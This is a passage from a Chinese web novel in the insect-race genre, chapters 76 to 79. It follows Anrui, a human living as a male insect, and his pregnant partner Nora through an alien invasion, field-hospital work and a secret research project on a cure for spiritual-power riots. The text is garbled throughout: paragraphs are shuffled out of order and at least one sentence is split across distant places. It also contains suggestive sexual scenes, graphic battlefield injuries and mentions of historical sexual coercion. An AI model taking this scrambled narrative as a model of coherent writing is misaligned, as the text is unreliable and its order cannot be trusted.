有了治疗精神力暴乱的药物,雄虫的地位肯定会降低,到时候恐怕也再不能享有那么多特权。 所以一般的雄虫肯定不会支持达蒙的实验。 安瑞唇边露出了几分苦涩:“我确实不在乎特权,但我也有在乎的东西,教授,诺拉怀上了虫蛋,我家里还有可爱的虫崽,我不能冒险。所以,抱歉。” 他不敢想,如果自己真的参与了这项疯狂的计划,会带来什么样的后果。 达蒙脸上 并没有什么失望的神色,他点了点头:“我理解阁下的意思,但我相信,有朝一日,阁下会改变想法的。” 安瑞的瞳孔骤然缩紧:“爆炸?” “对。”达蒙表情如常,但垂在腿边的手却不自觉地握紧了,“整个实验室全部被炸毁,在场的所有实验员全部殉职,包括我的雄主。五年的实验数据毁于一旦,还包括那些即将培育成功的种子。如果不是我临时去帮雄主买冰激凌,恐怕我也……” 安瑞眉头紧皱:“这应该不是意外吧?” 安瑞礼节性地笑了笑,拿了扫帚把地上的瓷扫进垃圾桶:“感谢教授的款待,我就先告辞了。” 他刚要离开房间,忽然听到门外传来了一声闷响 。 安瑞和达蒙的脸色同时变了,安瑞立刻打开房门,就看到走廊里大门外闪过了一个熟悉的背影。 是诺拉。 第七十六章 来自星星的你 安瑞心里咯噔一声,也顾不得达蒙,顺着大门就追了出去,跑了好几百米,终于看见了不远 诺拉作为高阶军官,和达蒙的宿舍都在一片,要找过来并不困难。 安瑞轻轻叹了口气,陪着诺拉走回宿舍,给诺拉倒了杯热水,才试探着问:“你刚刚都听到什么了?” 诺拉心虚地举着水杯:“听……听到了不少。” 一生一世一双虫的承诺,从来没见过的美食,还有哪些惊世骇俗的言论。 安瑞身上桩桩件件难以解释的谜团,终于有了合理的答案。 但诺拉第一反应并不是震惊自家雄主的身份,反倒是担心安瑞生气。 诺拉小心翼翼地观察着安瑞的神情,很快又改口:“也……也可以当做什么都没听见。” 他搬着凳子往安瑞身边蹭了蹭,暗戳戳地勾住自家雄主的袖口:“雄主,诺拉错了,不该偷听,您……您别不要我。” 安瑞无奈地勾了勾唇角,给了诺拉一个爆栗:“哪就不要你了,傻乎乎的。” 苍蓝色的眼睛里浮现出一层水雾,诺拉拽着安瑞的手轻轻抱怨:“疼。” “弄疼了,那揉揉?”安瑞把雌虫搂在怀里,给他揉着脑门上的红印,“宝贝就没什么想和我说的吗?比如其实我根本不是雄虫。” 诺拉被安瑞揉得很舒服,他懒洋洋地枕着安瑞的肩膀:“不重要,不管您是谁,诺拉都会永远爱您,做您最忠诚的奴仆和信徒。” “这么乖?” 诺拉眨了眨眼睛,蓝宝石一样的眼眸中散发着耀眼的光芒。 处的诺拉。 雌虫低着头快步往宿舍走,应该是在想事情,压根没注意到身后的安瑞。 生怕吓着自家雌君,安瑞没敢直接上手拽,而是站在他身后远远地喊了一声:“诺拉。” 军雌浑身一激灵,猛地停住了脚步,过了好几秒才回头。 “雄主。” 诺拉勉强挤出一个笑容,站在原地等着安瑞走过来。 安瑞很自然地挽住诺拉的胳膊:“乖,怎么来这了?” 居然连昆西的名字都知道了? 他没来由的一阵心虚,轻轻咳嗽了两声,刚要解释,忽然又觉得不对劲。 他和昆西就是正常交往啊,有什么可心虚的。 “没嫌弃,胖一点好,我家宝贝最好看了。” 安瑞一边说,一边给诺拉揉着小腹,用精神力安慰里面的虫蛋。 诺拉哼哼一声:“那您这么说,我以前就不好看了?” 安瑞:…… 不讲理了是不是。 不等诺拉说完,安瑞俯下身,深深吻住了那双蔷薇花一样的唇瓣。 * “雄主,您能给我讲讲您的故乡吗?” 晚上,安瑞和诺拉做完例行的安抚虫蛋运动后,诺拉窝在雄主怀里,享受事后的温存。 “你是说蓝星?” 诺拉点点头,好奇地看向安瑞。 “蓝星没有虫族,但是也有和虫族类似的高等智慧生物,人族。” “您是说,蜥蜴人那种?” 安瑞摇摇头:“不是蜥蜴人,就是单纯的人类,没有翅翼和触角,也没有精神力。人类只有两种性别,男人和女人,男人身体更加强壮,负责在外劳作,女人身材相对纤弱,负责照顾家庭。” 诺拉声音闷闷的:“我刚刚醒了,没看到雄主,问了守门的哨兵,就过来了。” 安瑞低头,认真地打量着怀里的雌虫。 最近一个月,每天有雄主陪伴,精神力得到了充足的抚慰,还没有糟心的战事,诺拉掉下去的肉很快就长了回来,金发也恢复了往日的光泽。 诺拉被安瑞盯得有些不自在:“您这么看着我干什么。” “看我家雌君好看啊。”安瑞没忍住,伸手捏了捏诺拉的侧脸,“好像长胖了一点?” “雌虫怀蛋都会胖的。”诺拉有些气闷地哼了一声,“您要是嫌我胖,可以去找那个军雌啊,叫什么,昆西是不是?” 安瑞手一抖,差点把诺拉弄疼了。 诺拉似懂非懂地点点头:“那雄主以前肯定是蓝星非常好的女人。” 安瑞:…… “我是男的,男人。” “真好。”诺拉羡慕地感叹了一句,“要是雌虫和雄虫也能这样就好了。” 诺拉随口一句话,安瑞却沉默了。 他半天才轻轻问:“达蒙教授和我说的有关精神力的那些话,你听见了吗?” “没太认真听。” 诺拉听到安瑞居然不是雄虫的时候,整只虫都傻了,根本没心情再去听什么精神力,什么茶叶的。 安瑞直截了当地说:“达蒙教授跟我说,他发现了一种植物,或许可以根治精神力暴乱,但是需要我的帮助。” 诺拉眼神一变,抓住了安瑞的袖子:“那你答应了吗?” 安瑞理了理诺拉金色的长发:“你希望我答应吗?” “我……我不知道。” 诺拉脸上浮现出几分为难的神色,靠在安瑞怀里碎碎念:“如果有了治疗精神力暴乱的药物,那雌虫的生活水平和社会地位肯定会提高。但与此相对,雄虫的利益会受到威胁,他们肯定会报复雄主,还有做舒缓剂的格林家族,他们也不会善罢甘休的。” “不对啊。”诺拉低头嘟囔,“男人强壮,女人纤弱,那雄主肯定是女人。” “虫族的雌虫、亚雌和雄虫,放到蓝星都是男人。” 只不过分别对应着黑皮小狼狗,绝世花美男和那脑子有病的男的而已。 诺拉有点迷糊地挠了挠头发:“所以在蓝星是男人生育吗,那女人的地位会很高吗?” “蓝星是女人生育,女人的地位并不高,或者说曾经一度被当做男人的附属品。但是在我所在的那个年代,男女地位平等,每个男人只能娶一个女人,女人可以赚钱养家,也有男人会选择照顾家庭。” 这些还都是最表面的,他甚至不敢想,如果治疗精神力暴乱的药物能上市,会对现在的社会结构产生多大的冲击。 “我也是这么想的。”安瑞吻了一下诺拉的侧脸,“所以我没有答应。” 刚刚还在嘟嘟囔囔的雌虫一下就沉默了,诺拉抿了抿唇:“您做的是对的。” 他和雄主都只是最平凡的虫。 改变世界这种事太超过了,他们没有能力。 可不知道为什么,诺拉总觉得心里空了一块。 * 在怀孕满二十周后,诺拉又回到了临时医院待产区,安瑞也是第一回主动用了雄虫的特权,管临时医院多要了一个病床,和诺拉的病床拼在一起,做成了一个简易的双虫床。 没办法,单虫病床又实在太小了,他和诺拉两个一米八几的虫,总不能叠在一起睡吧。 安瑞难为情地挠了挠头发:“那会不会对虫蛋不太好?” 就算作为一个未婚,也不打算结婚的男性,他也知道在刚怀孕和快生产的那几个月,夫妻之间是不能同房的。 亚雌医生解释道:“当然不会了,虫蛋没有那么脆弱,更何况多恩爱不仅能增加产道的弹性,还能对虫蛋进行充分的精神力滋养,百利而无一害,只要注意别压到虫蛋就可以了。” 亚雌行医近百年,第一次遇到这么恩爱的情侣,忍不住把自己这么多年学的知识全部倾囊相授。 一般情况下,怀孕的雌虫见雄主一面都难,更别提这么频繁的行房了。 安瑞虽然偶尔会说些臊虫的话,但也仅限于对诺拉,被年龄可以做自己祖父的亚雌这么细致的讲解行房小技巧,安瑞也有点受不了。 他赶紧转移话题:“大夫,虫崽的性别能看出来了吗?” 亚雌医生诧异道:“当然是雌蛋,如果是雄蛋中将早就被送回首都星了。” “大夫,诺拉怎么样?” 安瑞从东区食堂下班回到病房,刚好赶上军医给诺拉做产检。 “阁下日安。”头发花白的亚雌冲安瑞行了个礼,笑道,“中将一切都好,就是产道有一点紧,您平常没怎么和中将行房吧?” 安瑞被亚雌军医过于直白的用词弄得有点脸红,支吾道:“还挺频繁的,几乎隔天一次。” “那太少了,有条件的话最后一天一次,甚至一天多次。” 安瑞送亚雌医生离开,转头就看到诺拉郁闷地坐在床上,有点委屈地说:“对不起雄主,没能为您怀上一枚珍贵的雄蛋。” “没事,雌虫崽很好啊,你看小艾多可爱。” 诺拉低着头,轻声说:“但不管怎么样,我也不该瞒着您。” 安瑞又安慰了诺拉一会,眼看着时间不早,刚要遵医嘱进行一些有利于生产的运动,忽然就看到诺拉的睡衣前襟湿了一块。 他皱了皱眉,还没开口问,就见自家雌君一脸认真地解释道:“应该是分泌乳液了,雄主要品尝一下吗?” 第七十七章 蜥蜴人的反攻 乳液? 品尝? 这是什么小众的词语。 安瑞垂下眼眸,背着身拿了张餐巾纸递给诺拉:“你……你别闹,快擦擦,我帮你找大夫。”“不用找大夫。” 安瑞还没从床上站起来,袖口就被诺拉勾住了:“正常生理现象,不用……不用找大夫的。” “正常生理现象?”安瑞目瞪口呆,“可……可虫蛋还有一个月才生啊,更何况就算生出虫蛋,孵化还要六个月到一年。” 作为准雄父,安瑞在得知诺拉怀孕的时候就收藏了好几个新手雌父的帖子,上面都是这么介绍的。 雄虫都以能生下雄虫崽为荣,只要雌君或者雌侍怀孕 ,就会立刻询问虫蛋的性别。所以诺拉因为安瑞也会这样,可没想到来了边境一个月,自家雄主对虫崽的性别居然只字未提。 不知道出于什么心理,诺拉也一直没有主动说,结果一拖就拖到了现在。 “怎么算瞒着。”安瑞怜惜地亲了亲诺拉的侧脸,“你想,以后咱们的小虫崽说不定和你长得 一模一样,金发蓝眼,又漂亮又聪明,身体素质还好。” 诺拉被安瑞说的忍不住也开始期待肚子里的虫崽。 但他还是希望长得能像雄主多些。 “乳液又不是给虫崽喝的,虫崽有幼崽专用营养剂的。” “啊?”安瑞再一次被惊呆了,“乳液不是给幼崽喝的,那是给谁的啊?” 看着诺拉跪坐在床上,睡衣半敞一脸期待的样子,安瑞深深扶额。 享用乳液什么的,对他来说实在太超过了。 他一脸为难地看着诺拉胸前那一小片水渍:“这……有没有什么办法让它回去?” “为什么要回去?”诺拉不可置信地看着安瑞,苍蓝色的眼睛瞬间有点泛红,“您不喜欢诺拉了吗?” “没有不喜欢。” 安瑞想起来雌虫怀孕的时候容易情绪不稳定,赶紧凑过去把诺拉抱在怀里,亲亲他的嘴角:“怎么会不喜欢,我不喜欢谁也不能不喜欢我家宝贝啊。” 诺拉被哄得有又高兴起来,用脚趾轻轻碰了一下安瑞的小腿:“那……那您为什么要它回去。” “因为……因为在蓝星上,伴侣之间不会做这种事。”安瑞支支吾吾地和诺拉解释,“就有点奇怪。” “哪里奇怪了!”诺拉急得搂住了安瑞的脖子,在他脸上落下细细密密的吻,“您试试,很多雄虫都很喜欢的。” 平常锋利俊俏的雌虫现在软得像一个快煮化了的汤圆,黏黏糊糊地往安瑞怀里贴。 安瑞轻轻叹了口气,决定遵守医嘱,遂俯身吻住了软乎乎的唇瓣。 …… 临时医院条件有限,诺拉和安瑞简单打水擦洗了一下,就相拥着躺进温暖的被子里。 安瑞俯身吻了吻诺拉的额头,刚要道一句晚安,忽然耳边传来了一阵急促的号角声,紧跟着就是密密麻麻的脚步声。 “给您啊。”诺拉的脸上终于浮现出了两抹红晕,“雌虫在即将生产的时候会分泌乳液,就是为了获得雄主的宠幸。” 毕竟,只有在生产前获得越多的宠幸,越有概率顺利生产下一枚健康的虫蛋。 分泌乳液的同时,雌虫的身体也会变得格外柔软,就算是再不讨雄主喜欢的雌虫,在这种状态下也会备受宠爱。 这也是为什么军雌怀蛋满二十周就会从前线转移到待产区,实在是这个阶段的军雌真的没办法与敌军正常战斗。 安瑞整只虫都愣住了。 这是什么反常识的进化方向和物竞天择啊。 诺拉几乎是从床上弹起来的:“雄主,有敌袭。” 安瑞也立刻坐起来,紧紧皱着眉头:“敌袭?” “对,而且听军号声,应该是大规模袭击。” 诺拉迅速打开军用智脑,只瞟了一眼脸色就变了:“雄主,蜥蜴人的先锋部队登上L星球了。” 而且怀孕已经超过二十周,不能上战场了。 但仅仅是几秒钟的功夫,诺拉又回过神来,随手把军装甩在旁边的架子上,打开军用智脑频繁地刷新。 然而战争刚开始,智脑里也看不出什么,诺拉焦急地盯着智脑,右手不由自主地捏住了裤子。 安瑞凑过去拍了拍自家雌君的肩膀:“别担心,我们肯定会赢的。” 诺拉勉强挤出一个笑,轻轻应了一声。 安瑞换好衣服,刚要往外走,就被诺拉一把拉了回来:“雄主,外面危险,您别出去。” “我不出医院,就去下面看看有没有什么能帮上忙的。” 战争开始,炊事班肯定忙着往前线送营养液,想也知道这种危险的活肯定不会让他去,他也只能去楼下看看有没有伤员需要处理。 安瑞只觉得脑袋嗡地一声,几乎能够听到自己心脏的砰砰声。 “那我能帮上什么忙?” 诺拉直接忽略了安瑞要帮忙的言论,认真地嘱咐:“基地相对安全,您就在临时医院,千万别出去。” 他一边说一边往身上套军装,但原本合身的衣服现在却怎么也套不进去,急得他直跺脚。 安瑞无奈地指了指诺拉的肚子:“都五个多月了,原来的军装肯定穿不上了。” 诺拉如梦方醒一般坐在床边,怔怔地看着自己微微隆起的小腹,好像才反应过来,他已经怀孕了。 精细活干不了,涂涂药缠缠绷带的活他总能干吧。 “雄主!”诺拉还想劝什么,但是看安瑞态度坚定,只好叹了口气,“那我陪您一起下去。” * “阁下,您怎么下来了。” 安瑞还没出楼梯间,就被恰好路过的一名亚雌一声堵住了。 亚雌看到雄虫脸色都变了:“您快回五楼,千万别下来。” 军医声音里充满了焦急和慌张,要不是害怕安瑞身后的诺拉,估计就要直接上手把他往楼上推了。 安瑞摆摆手,闭上眼使劲做了几次深呼吸,终于慢慢适应了这股血腥味。 他跑到一个护士旁边:“您好,我是志愿者,有什么需要我帮忙的吗?” 护士正在给一只整条腿都被激光炮炸断了的军雌处理被激光烧伤的腐肉,根本没抬头,快速说:“你帮我压住他。” 前线麻药不够,还得紧着重伤的雌虫用,像这种缺胳膊断腿的,在虫族军队里都只能算是轻伤。 安瑞点头,上手按住军雌的肩膀,温声安抚:“兄弟,你忍一忍。” 军雌长着一张圆圆的娃娃脸,应该才成年不久,脸上还带着几分稚气,正呲牙溜嘴地忍着疼。 他的左眼已经被血封住了,用仅剩的一只右眼往上瞟,刚看了一眼脸色就变了,嘴里囫囵地喊着。 安瑞俯下身:“你说什么,是要水吗?” 军雌摇摇头,努力张开嘴:“安……安瑞阁下,危险,您快上楼,别管我。” 安瑞的眼睛一下就湿了,他鼻子发酸:“没事,等护士帮你把弹片取出来就好了。” 随着一块腐肉被切下来,军雌嗷地叫了一声,又立刻笑道:“阁下,我真的特别喜欢您,不知道您记不记得我,我的ID是草莓冰棒。” 安瑞摇摇头:“这里有什么需要我帮忙的吗,包扎伤口,运输货物什么的都可以。” “不用不用,真的不用您。”亚雌一叠声地拒绝,“第一批伤员应该就要送回来了,您快上去。” 亚雌军医话音未落,临时医院门口已经停了一艘军医专用星舰,数十名护士抬着担架往返于医院和星舰,把一波一波受重伤的军雌抬起来。 亚雌军医立刻冲出楼梯间,像陀螺一样奔波于数十名伤员之间,再也没空管安瑞了。 安瑞趁机从楼梯口挤出来,刚进楼道就被浓重的血腥味熏得眼睛法疼,胃里反酸,不由自主地往外干呕。 诺拉吓了一跳,赶紧扶住安瑞:“咱们还是回去吧。” 安瑞好像被激光炮击中了一样愣在原地,只剩一双手还机械地使劲扶着军雌的肩膀。 半晌,他才回过神来,声音颤抖地问:“你……我记得你还在上大学啊?” “军校生嘛,前线需要,就过来了。” 小军雌无所谓地笑了笑,脸上带着和年龄不相符的视死如归,但很快又随着另一块腐肉被拉下来而惨叫连连。 不知道为什么,安瑞心里有点不舒服,他客气地笑笑:“没事,我能帮忙的,你别客气。” 战争整整持续了五天,一波一波的军雌顶上去,又被一波一波地拉进医院。 安瑞每天两眼一睁就是穿梭在临时医院,帮着护士处理伤员。因为炊事班全部去给前线送营养液了,所以安瑞还主动承包了往医院送营养液的工作。 五天时间,说长不长,但足以把安瑞从战战兢兢的菜鸟变成熟练的护工。 一开始看到缺胳膊断腿的伤员,安瑞还会心惊胆战一阵,但到了后来,他甚至能面不改色地徒手把流到肚子外面的肠子塞回去。 直到这个时候,安瑞才意识到蓝星的那些战争电影有多假,真实的战争又有多残酷。 终于,在第六天黎明的时候,医院外响起了与前五天截然不同的号角。 安瑞很难想象,眼前的虫就是那个在直播间撒泼打诨抱怨期末作业多的“大学牲”。 “行了,你把他推到观察室。” 护士放下剪子,擦了一把额头的汗水,忽然惊呼一声:“阁下。” 亚雌脸色骤变,几步凑过来:“您……您怎么来这了,快上楼,别熏着您。” 原本嘈杂的临时医院一下就安静了。 过了很长时间,不知道是谁轻轻说了一句:“我们赢了。” 紧接着,医院立刻喧嚣了起来,有仰天大笑的,有抱着欢呼的,还有捶地痛苦的。 安瑞腿一软就坐在了地上,怀里还抱着整箱营养液,眼泪噼里啪啦往下落。 蜥蜴人退了,他们终于赢了。 * 第二天早上,安瑞去东区食堂拿营养液,刚进后厨,就看到昆西和几只军雌蹲在地上,一言不发地分营养液。 “你们回来了!”安瑞惊喜道。 激光导弹,正中军舰,尸骨无存。 他很难想象,那个十天前还中气十足地站在后厨骂虫,得意洋洋在餐厅巡视的班长,还有那十几只军雌,就这么没了。 直到回了临时医院,安瑞脑袋还是懵的,他机械性地帮护士发完营养液,独自坐在楼梯间,看着L星球灰蒙蒙的天空,迟到的眼泪才稀里哗啦地流下来。 忽然,有虫拍了拍他的肩膀,安瑞用手背抹了把脸,一回头,就看到达蒙站在他身旁。 “阁下怎么坐在这?” 第七十八章 至暗三百年 安瑞撑着墙站起来,勉强挤出一个笑容:“没什么,就是……就是有点难受。” 碧绿色的眼睛里微微一扫,里面就透出洞悉一切的光芒,达蒙没有立刻戳穿安瑞,而是客气道:“不知道您有没有时间,来我宿舍喝杯茶水。” 达蒙把茶字咬得很重,安瑞心念一动,达蒙不会还没放弃让他参与实验的想法吧? 可不知道为什么,他居然脱口而出:“荣幸之至。” 自从战争开始,东区食堂就停伙了,炊事班全部被安排往前线运输物资。 昆西转过头,勉强冲安瑞打了个招呼:“阁下日安。” “怎么就你们几个回来了,班长呢,其他军雌呢?” “班长,班长牺牲了。”昆西再也忍不住,嘴一咧,呜呜地哭了起来。 旁边的军雌哽咽着解释道:“班长带着十几个兄弟往前线送营养液的时候,军舰中了敌军的激光导弹,就……就……” 安瑞脑袋嗡地一声,倒退了两步险些坐在地上,一双眼睛空洞地 看着前方,想哭又哭不出来。 “我刚刚得知,炊事班十几名军雌阵亡,所以有点难受,失态了。” 达蒙一点没有意外,沏了杯绿茶递到安瑞手边:“难受,只是因为战友阵亡吗?” “不止,不止是战友阵亡。这几天,明明所有虫都在拼命,只有我无所事事,一点忙都帮不上,只能打打杂,可是那些军雌看到我的第一反应都是你行礼,然后让我赶快上楼。”安瑞 安瑞的大脑转得飞快,忽然一拍桌子:“你跟虫皇是一伙的对不对。” 之前一切的疑问都得到了答案,虫皇为什么会关注他,帮他破格通过志愿者报名,让他能够来前线,还说什么自己像他的一位故友。 都是生在新社会,长在红旗下的好少年,能不像吗? 达蒙抚掌大笑:“不愧是冰雪聪明的安瑞阁下,我承认,虫皇让您来前线,确实有这方面的考量,当然也是为了成全您和诺拉中将,用你们蓝星的话讲,伉俪情深嘛。” 安瑞脸微微一红,转移话题:“所以,虫皇一直知道,并且支持实验的事?” “没错,其实陛下执政的这一百年,一直试图改变现状,可是雄雌比例悬殊,格林家族尾大不掉,能够治疗精神力的药物又一直没有研制出来,陛下也只好暂时蛰伏,无为而治。”达蒙苦笑了一声,看着安瑞,“阁下了解过虫族的历史吗?” “五百余年前,虫族四分五裂,各大势力割据,民不聊生,斯蒂文家族、格林家族和亚当斯家族携手平叛,共同创立了现在的帝国。自此之后,虫族万众一心,才有了现在辉煌的文明。” 安瑞没事也会在虫网上搜搜虫族的风土人情,有关虫族历史,讲得最多的就是这一段。 对于网上的表述,安瑞基本上是认可的。毕竟虫族只用了六百多年就进入了星际时代,帝国还在社会性别如此畸形的情况下把整个虫族管辖的星系治理得井井有条,不管怎么说,都称得上成功。 使劲捏着瓷杯的把手,痛苦地咬了咬牙,“所有军雌都愿意为了保护我牺牲性命,可是我只能看着他们或牺牲或受伤,什么都做不了,我觉得我不配。” 达蒙面色如常,眼神却变得有些缥缈而悠远:“你是第二个跟我说这样话的雄虫,或者说,人类。” 安瑞调整了一下情绪:“另一个是,您的雄主?” “没错,我的雄主也是经历了一些事情,才会选择帮我一起做实验。”达蒙浅浅地笑了两声,“所以我一直相信,有朝一日,你肯定会改变主意。” 虽然单看饮食文明,好像确实不太辉煌…… “阁下说的不错,那您知道,当时的虫族为什么会四分五裂,又为什么会把那一战称作立国之战吗?” 安瑞端着茶杯,暗自点点头。 那个时候的虫族倒是跟蓝星的奴隶制社会建立前的原始部落有几分相似,当时的蓝星部落也是男耕女织,各司其职,共同为生存努力,并没有什么高低贵贱之分。 “后来,部落不断壮大,形成了数个小型的国家。然而,就在虫族文明不断进步的过程中,虫族的星系被陨石群撞击。植被和动物大批量死亡,虽然虫族勉强活了下来,但雄虫数量锐减,而且自此之后雌雄比例越发悬殊,超过了五百比一。” 安瑞心头一跳,忍不住问:“那很多国家岂不是就没有雄虫了?” “你说的不错。”达蒙慢慢在屋子里踱步,“当时,大一点的国家内部还有一些雄虫,小一点的国家直接就没有雄虫了。不仅繁衍成为了问题,更有很多雌虫和亚雌因为缺乏雄虫的抚慰,而出现精神力暴乱。外部生存资源匮乏,内部社会结构严重失调,这种情况会导致什么后果,阁下相比也明白吧。” 安瑞轻轻吐出两个字:“战争?” 安瑞被问得有点蒙:“那我还真不知道,而且网上有关虫族的历史好像就只到立国之战,再往前好像就没有什么资料了?” “那是因为再往前的历史,在立国时就被定为了禁书,禁止流通。” 达蒙理了理头上的白发,从座位上站起来,背手看着窗外昏暗的天空。 “远古时期,雄雌比例还没有如今这么悬殊,虫族以雄虫为单位,每两三只雄虫会和百十只雌虫亚雌组成一个部落,雌虫负责捕猎,亚雌负责采集,雄虫负责为族群的雌虫和亚雌提供精神力。虽说雄虫是整个部落保护的核心,娇贵一些,但是论地位上,雄虫和雌虫都是平等的。” “没错,国家之间爆发了战争,除了食物之外,雄虫也成为了珍贵的资源。没有雄虫的国家想尽办法从其他国家强,有雄虫的国家则会拼命护住自己国家的雄虫。” 达蒙轻轻叹了口气,脸上带着悲天悯虫的怆然。 “此外,因为雄虫柔弱又缺乏自保能力,很多得不到很好保护的雄虫被雌虫轮番强*要,甚至有的国家会把雄虫全部集中起来,要求他们必须提供多少次精神抚慰,必须让多少雌虫或者亚雌怀孕。” 安瑞听得手脚冰凉,暗自庆幸自己没有穿越到那个时候,要不然才真是天崩开局,多少金手指系统都救不回来的那种。 “斯蒂文家族带领虫族民众研究处营养液,解决了食物不足的问题,又研制出舒缓剂,缓解了精神力暴乱问题。可惜至暗年代折损的雄虫过多,直到现在雄雌比例还只恢复到了一千比一。而且当初原本是权宜之计,没想到矫枉过正,雄虫变得日益骄纵,平民雌虫得不到足够的精神力抚慰,舒缓剂的作用也十分有限。” 安瑞想到自己这一年遇见的各种奇葩雄虫,忍不住叹了口气:“虫族的雄虫,可真不是骄纵两个字能形容的啊。” 那简直就是变态暴虐、泯灭虫性。 达蒙呵呵笑了几声,眼神里带着怀念:“我家雄主也这么说过,他说虫族现在的社会结构,就是把平民雌虫扔给雄虫玩弄,换取社会勉强的稳定运行,他甚至觉得,虫族里不论雌虫还是雄虫都很可悲,甚至没有什么繁衍的必要了。” “我部分认同吧。”安瑞抿了口茶。 虽然确实可悲,但他接触的大部分虫族也都挺可爱的,也很善良。 “所以,阁下愿不愿意帮我们,一起让虫族变得更好,或者说至少,让平民雌虫过得好一点。”达蒙收起笑容,认真地看着安瑞,“我不能给您做出任何保证,但亚当斯家族和皇族,都会尽最大的努力,保障您和实验数据的安全。” 他稍微平复了一下情绪:“那后来呢?” “后来,虫族自然是遭到了报应。雄虫的身体素质本来就比不上雌虫,又被这么粗暴的对待,很多都承受不住,几十岁就提前死亡,最严重的时候雄雌比例一度达到了两千比一,眼看整个虫族就要濒临灭绝。这段历史,就是虫族的至暗三百年。” 安瑞倒抽了一口气,好像突然被打通了神督二脉一样,灵台一片清明。很多曾经不理解,或者一知半解的问题,现如今都有了答案。 “所以后来,三大家族建立了帝国,把雄虫的地位抬高,还专门制定了雄虫保护法,设立了雄保协会,还制定了雌训,就是为了避免两千比一的惨剧再发生。” 达蒙点点头:“毕竟雄虫和雌虫体力差距过大,如果雌虫用强,雄虫是完全没有反抗余地的。” 安瑞对这一点深有共鸣,虽然他真的在很努力的锻炼身体,但还是远远比不上诺拉。他平常能弹到诺拉,完全是因为自家雌君让着他,不仅不躲,还会主动把脑袋凑上来。 安瑞的心脏砰砰直跳,他克制住一口答应的冲动:“这件事影响太大,我需要和诺拉商量一下,您给我一天时间好吗?” “当然。” * “不是说了不让你累着,怎么又去指挥部了?”安瑞揉了揉诺拉的肚子,“今天感觉怎么样,他乖不乖?” “军队这几天就要撤出 L星球了,我去帮忙安排一下一军团。”诺拉讨好地笑了笑,“他很乖的,一点都没闹我。” “那也要注意身体。”安瑞扶着诺拉坐到床边,又蹲下帮他脱皮靴。 “雄主,别,脏。”诺拉慌乱地躲着安瑞的手,“我自己来就行,您快坐。” “帮他做治疗剂吗?”苍蓝色的眼睛瞬间亮了起来,“我当然同意了,怎么会不同意。” “你就不害怕,不担心?” “您知道,我是军雌,我身边,包括我雌兄身边,都有很多被精神力暴乱折磨的战友,如果能有治疗剂,他们也就不会那么痛苦了。”诺拉认真地看着自己的雄虫,“更何况,不是您说的吗,您希望站在我的前途里,我也一样。” 第七十九章 秘密基地 安瑞是跟诺拉一起去找的达蒙,达蒙教授一脸 “我就知道你们会一起来”的表情,把他们迎进了宿舍。 “考虑的怎么样了?” 安瑞和诺拉对视一眼:“想好了,我愿意帮您研究治疗精神力暴乱的药物。” 碧绿色的眼睛中露出了几份欣慰,达蒙笑着伸出手:“我代表实验室感谢阁下的奉献。” “教授不用客气。” “你答应了也是好事。”达蒙忽然冲他们神秘的眨眨眼,“我带你们去个地方吧。” 安瑞好奇地问了一句:“去哪?” “生产绿茶的秘密基地。” “跟我还客气什么,蓝星丈夫给怀孕的妻子脱鞋系鞋带都是基本操作。”安瑞利索地帮诺拉脱下靴子,又给他穿上拖鞋,“毕竟快生产了,还是小心点。” “您总拿蓝星说事,什么丈夫妻子的,就是骗我没见过。”诺拉拿起毛巾帮安瑞擦手,“怀个蛋,哪就那么娇气了。” 安瑞揶揄地笑笑:“呀,不是前两天抱着我睡衣哭的时候了?” “什么睡衣,谁哭了!”雌虫耳尖红得滴血,翻身躺在床上,只留给安瑞一个后背。 “不跟你闹了,今天达蒙教授找我了。” 诺拉立刻翻个身:“他是不是又问您治疗剂的事了?” 安瑞点点头,试探着开口:“如果我答应他,你同意吗?” 诺拉很自觉地退后了半步:“雄主,那我回医院等您。” 不等安瑞说话,达蒙先摆了摆手:“不用,诺拉中将跟我们一起去吧,你会对那里感兴趣的。” 安瑞见状,也拉住了诺拉的手:“既然达蒙教授说了,那就一起去吧。” 他总有一种预感,秘密基地里应该不只有绿茶。 * “原来茶叶就长在这上面?”安瑞看着眼前不起眼的小山坡,“所以蜥蜴人攻打L星球,也是为了茶叶吗?” 达蒙冷哼一声:“蜥蜴人有精神力暴乱的问题不假,但缘何能得知茶叶可以解决精神力暴乱, 诺拉疑惑地眨眨眼,看向身边的雄主,可惜安瑞和他同样迷茫。 还没等他们反应过来,达蒙就走到土坡前,抬起手,眼前便出现了一道虚拟虫脸识别锁,达蒙往前靠了靠,虚拟屏幕闪烁了一阵,出现了识别成功四个大字,紧接着又是一道密码锁。 达蒙输入了正确密码,原本覆盖着杂草的土坡上竟然缓缓打开了一扇门,里面是各种先进的实验仪器。 达蒙冲安瑞和诺拉笑眯眯地招招手,语气里带了几分自得:“他们只以为茶叶必然种在山坡上,却怎么都没想到,L星球的茶叶已经全部被转移进了山洞的实验大棚里。说起来,这还是我家雄主的奇思妙想。” 安瑞原本还在啧啧称奇,结果猝不及防被塞了一口狗粮,只能默默抓住了诺拉的胳膊。 “请进。” 达蒙教授引着诺拉和安瑞走进去,正对上一只站在实验室边穿着军装的雌虫。 军雌生得很高大,金发蓝眼,小麦色的皮肤,鼻梁高挺不苟言笑,低着头正在擦拭仪器,看上去竟然和诺拉有几分相似。 安瑞眼中闪过几分疑惑,还没等他开口问,身边的雌虫手指已经开始微微发抖,紧接着浑身都开始剧烈地颤抖。 安瑞脑海里蓦地闪过了一个猜测。 “雌兄?” 诺拉脱口而出的称呼印证了安瑞的猜测,雌虫声音带着不可置信的颤抖,伸出手,想碰一下自家兄长,可一双脚又好像是被钉在了地面上,一步也动不了。 “诺拉?” 诺亚愕然抬头,声音也带了几分惊讶和激动,但到底没有像诺拉那般失态。 诺拉眼尾发红,冲过去就搂住了诺亚的脖子:“雌兄,你……你……” 后面的话全部淹没在了哭声中。 诺亚坚毅的面容上闪过几分无措,似乎是不太适应弟弟这般亲近,愣了好一会儿才僵硬地拍了拍诺拉的后背。 达蒙随手一挥,身后的门便严丝合缝地关上了,他冲安瑞使个眼色,悄么声地穿过实验室,还能摸准了位置,两次攻打L星球?” 那自然是因为虫族里有叛徒。 雄虫虽然珍贵,但对于那些真正的贵族雌虫来说,自然不会缺雄虫,也没有精神力暴乱的危险。为了保住舒缓剂的销路,自然会千方百计阻挠抑制剂的研发。 但安瑞没想到,为了那点利益,格林家族居然不惜叛国,挑起战争。 想到前线战死和受伤的军雌,安瑞愤怒地皱了皱眉,咬着牙问:“那陛下知道吗?” “自然。”达蒙悠悠看着远方,轻轻说,“陛下已经忍他们很久了,治疗剂问世之时,便是他们被送上审判庭的日子。” 